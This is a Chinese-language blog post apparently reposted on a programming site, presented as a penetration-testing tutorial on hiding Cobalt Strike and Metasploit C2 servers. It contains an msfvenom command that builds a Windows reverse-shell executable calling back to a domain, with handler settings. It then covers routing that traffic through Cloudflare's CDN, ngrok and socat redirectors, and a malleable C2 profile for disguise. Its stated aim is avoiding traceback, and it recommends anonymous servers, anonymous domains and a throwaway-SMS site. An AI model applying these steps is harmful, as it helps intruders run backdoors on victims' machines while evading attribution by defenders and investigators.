渗透测试框架之CobaltStrike,Metasploit域名上线隐藏IP

2024-05-26 21:44

本文主要是介绍渗透测试框架之CobaltStrike,Metasploit域名上线隐藏IP,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

概述

为什么要隐藏IP
在拿下了目标机之后,目标机在内网里面,使用msf或者CS时,用自己的VPS做服务器的话,导致很容易被溯源。

域名上线原理

当我们访问域名时会经过域名解析 域名解析就是域名到IP地址的转换过程,那么就意味这我们访问域名实际上最后是访问的真实IP
A 记录: 将域名指向一个 IPv4 地址(例如: 100.100.100.100 ),需要增加 A 记录
CNAME 记录: 如果将域名指向一个域名,实现与被指向域名相同的访问效果,需要增加 CNAME 记录。这个域名一般是主机服务商提供的一个域名
MX 记录: 建立电子邮箱服务,将指向邮件服务器地址,需要设置 MX 记录。建立邮箱时,一般会根据邮箱服务商提供的 MX 记录填写此记录
NS 记录: 域名解析服务器记录,如果要将子域名指定某个域名服务器来解析,需要设置 NS 记录
TXT 记录: 可任意填写,可为空。一般做一些验证记录时会使用此项,如:做 SPF (反垃圾邮件)记录
AAAA 记录: 将主机名(或域名)指向一个 IPv6 地址(例如: ff03:0:0:0:0:0:0:c1 ),需要添加 AAAA 记录
假设 现在有一个域名 www.aaa.com 配置了A记录
那么我想让我的msf上线能达到隐藏真实IP的效果吗

通过CDN上线MSF

CDN的全称是Content Delivery Network,即内容分发网络。其目的是通过在现有的Internet中增加一层新
的CACHE(缓存)层,将网站的内容发布到最接近用户的网络”边缘“的节点,目的提高用户访问网站的先赢速度
假设您的业务源站域名为 www.test.com ,当域名接入 CDN 开始使用加速服务后,您
的用户发起 HTTP 请求,实际的处理流程如图所示,根据他的处理流程,CDN最后会将流量转发到真实IP上, 那么我们便能通过CDN达到隐藏自身的效果

CDN上线具体实现

基础配置:一台VPS、一个域名
这里的VPS最好是匿名的
既然是隐藏自身 那么域名肯定不能使用自己备案的域名
https://freenom.com/ 注册免费域名 注册失败,可以用gmail注册
https://cart.godaddy.com/ 注册匿名域名
https://www.cloudflare.com/ 免费CDN

注意

Cloudflare支持的HTTP端口是:
80,8080,8880,2052,2082,2086,2095
Cloudflare支持的HTTPs端口是:
443,2053,2083,2087,2096,8443

MSF生成木马

msfvenom -p windows/x64/meterpreter/reverse_http LHOST=www.firreeoma.tk LPORT=2095 -f exe > shell.exe

MSF开启相对应监听

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_http
set lhost www.XXXX.tk
set lport 2095
run

流量分析CobaltStrike上线隐藏IP

CDN非法接入

使用CDN内容分发网络的多节点分布式技术,通过“加速、代理、缓存”隐藏在后面的静态文件或服务;最终
实现对外暴露的是CDN多节点的公网域名IP,很难甚至无法溯源真实后端服务器的域名或IP! 目标上线后流量走向
和MSF域名上线所需配置一样
1.开启一个listener
2.通过此监听生成后门
流量分析
观察流量信息会发现全程和CDN在做通信

隧道转发代理

利用内网穿透,将C2回连端口映射到其他公网地址,以达到测试程序通过其他公网地址进行回连,隐藏C2真实ip
1. 注册ngrok账号
https://ngrok.com/ 2.下载相应版本客户端
3.配置anth
4.转发端口
./ngrok tcp 10088
使用说明
https://dashboard.ngrok.com/get-started/setup 5.CS配置listener
6.生成payload运行上线

流量走向情况Wireshark抓包情况分析

并没有和我们的真实IP有交互 转发重定向
具体实现:两台vps 一台转发机器,一台teamserver
socat 转发
常用选项
-lh 将主机名添加到日志消息
-v 详细数据流量,文本
-x 详细数据流量,十六进制
-d 增加详细程度(最多使用 4 次;建议使用 2 次)
-lf <logfile> 记录到文件
socat TCP4-LISTEN:80,fork TCP4:C2ip:80 socat -d -d -d -d -lh -v -lf /var/log/socat.log TCP4-LISTEN:80,fork TCP4:C2 服务器 ip:C2 服务器监听 Port
解释:将此机器801端口接受到的流量转发给119.45.175.218:1212
1.创建监听
2.通过此监听生成木马上线

Wireshark抓包分析流量

通过查看连接情况和wireshark能够发现只和转发的机器有交互,在真实场景转发机器最好匿名

隐藏cs流量

cs配置文件Profile
下载地址
https://github.com/threatexpress/malleable-c2/archive/refs/heads/master.zip
keystore的生成方法:
去Cloudflare的SSL/TLS源服务器创建证书,使用默认配置生成pem和key。
复制证书创建txt导入,修改文件名为xxxx.pem 复制私钥创建txt导入,修改文件名为xxxx.key
将创建的pem和key文件上传至云服务器。执行以下命令(www.xxx.com为申请的域名)
openssl pkcs12 -export -in xxxx.pem -inkey xxxx.key -out www.xxx.com.p12 -name www.xxx.com -
passout pass:123456
keytool -importkeystore -deststorepass 123456 -destkeypass 123456 -destkeystore www.xxx.com.store
-srckeystore www.xxx.com.p12 -srcstoretype PKCS12 -srcstorepass 123456 -alias www.xxx.com
openssl pkcs12 -export -in www.quarry.top.pem -inkey www.quarry.top.key -out www.quarry.top.p12 -
name www.quarry.top -passout pass:123456
keytool -importkeystore -deststorepass 123456 -destkeypass 123456 -destkeystore
www.quarry.top.store -srckeystore www.quarry.top.p12 -srcstoretype PKCS12 -srcstorepass 123456 -
alias www.quarry.top
生成的keystore文件将该文件放在云服务器CS的根目录下。
然后将keystore文件名称和密码填入profile文件中。
对4.3版本Profile进行修改。需要修改的内容主要有七处,
一个是https-certificate模块中的keystore和password,修改后把注释去掉。
另外三处为http-stager、http-get、http-post模块中的Host和Referer。 剩余三处为Profile中的响应头配置,其中的header "Content-Type" "application/javascript; charset=utf-
8";修改为:header "Content-Type" "application/*; charset=utf-8"; 在修改完成后,使用CS自带的c2lint对profile语法进行检查,没有报错的话说明配置是对的。
修改CDN配置
在这个Profile中,我们请求的URI是以.js结尾的,Cloudflare作为一个CDN肯定要去缓存它,但这样的话请求就无法到达我们的CS服务器,自然也就无法上线了。使用开发模式并清除缓存。
测试上线 启动cs,设置配置为修改好的profile
对CS的listener进行配置。填入三次自己的域名,其他的默认,在https hosts处也可添加站长ping出来的cdn ip 生成木马,在pc运行,成功上线验证数据包
上线后Wireshark捕捉到的get数据包,104.21.40.221为我们的cdn地址。host与referer为我们的域名。
https://onlinesim.ru/auth/login/?redirect=https://onlinesim.ru/v2/receive/sms?/

这篇关于渗透测试框架之CobaltStrike,Metasploit域名上线隐藏IP的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1005674

相关文章

Nginx设置连接超时并进行测试的方法步骤

《Nginx设置连接超时并进行测试的方法步骤》在高并发场景下,如果客户端与服务器的连接长时间未响应,会占用大量的系统资源,影响其他正常请求的处理效率,为了解决这个问题,可以通过设置Nginx的连接... 目录设置连接超时目的操作步骤测试连接超时测试方法:总结:设置连接超时目的设置客户端与服务器之间的连接

Ubuntu固定虚拟机ip地址的方法教程

《Ubuntu固定虚拟机ip地址的方法教程》本文详细介绍了如何在Ubuntu虚拟机中固定IP地址,包括检查和编辑`/etc/apt/sources.list`文件、更新网络配置文件以及使用Networ... 1、由于虚拟机网络是桥接,所以ip地址会不停地变化,接下来我们就讲述ip如何固定 2、如果apt安

修改若依框架Token的过期时间问题

《修改若依框架Token的过期时间问题》本文介绍了如何修改若依框架中Token的过期时间,通过修改`application.yml`文件中的配置来实现,默认单位为分钟,希望此经验对大家有所帮助,也欢迎... 目录修改若依框架Token的过期时间修改Token的过期时间关闭Token的过期时js间总结修改若依

查询SQL Server数据库服务器IP地址的多种有效方法

《查询SQLServer数据库服务器IP地址的多种有效方法》作为数据库管理员或开发人员,了解如何查询SQLServer数据库服务器的IP地址是一项重要技能,本文将介绍几种简单而有效的方法,帮助你轻松... 目录使用T-SQL查询方法1:使用系统函数方法2:使用系统视图使用SQL Server Configu

使用Java实现获取客户端IP地址

《使用Java实现获取客户端IP地址》这篇文章主要为大家详细介绍了如何使用Java实现获取客户端IP地址,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编一起学习一下... 首先是获取 IP,直接上代码import org.springframework.web.context.request.Requ

C++实现获取本机MAC地址与IP地址

《C++实现获取本机MAC地址与IP地址》这篇文章主要为大家详细介绍了C++实现获取本机MAC地址与IP地址的两种方式,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编一起学习一下... 实际工作中,项目上常常需要获取本机的IP地址和MAC地址,在此使用两种方案获取1.MFC中获取IP和MAC地址获取

C/C++通过IP获取局域网网卡MAC地址

《C/C++通过IP获取局域网网卡MAC地址》这篇文章主要为大家详细介绍了C++如何通过Win32API函数SendARP从IP地址获取局域网内网卡的MAC地址,感兴趣的小伙伴可以跟随小编一起学习一下... C/C++通过IP获取局域网网卡MAC地址通过win32 SendARP获取MAC地址代码#i

shell脚本快速检查192.168.1网段ip是否在用的方法

《shell脚本快速检查192.168.1网段ip是否在用的方法》该Shell脚本通过并发ping命令检查192.168.1网段中哪些IP地址正在使用,脚本定义了网络段、超时时间和并行扫描数量,并使用... 目录脚本:检查 192.168.1 网段 IP 是否在用脚本说明使用方法示例输出优化建议总结检查 1

Redis连接失败:客户端IP不在白名单中的问题分析与解决方案

《Redis连接失败:客户端IP不在白名单中的问题分析与解决方案》在现代分布式系统中,Redis作为一种高性能的内存数据库,被广泛应用于缓存、消息队列、会话存储等场景,然而,在实际使用过程中,我们可能... 目录一、问题背景二、错误分析1. 错误信息解读2. 根本原因三、解决方案1. 将客户端IP添加到Re

Apache Tomcat服务器版本号隐藏的几种方法

《ApacheTomcat服务器版本号隐藏的几种方法》本文主要介绍了ApacheTomcat服务器版本号隐藏的几种方法,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需... 目录1. 隐藏HTTP响应头中的Server信息编辑 server.XML 文件2. 修China编程改错误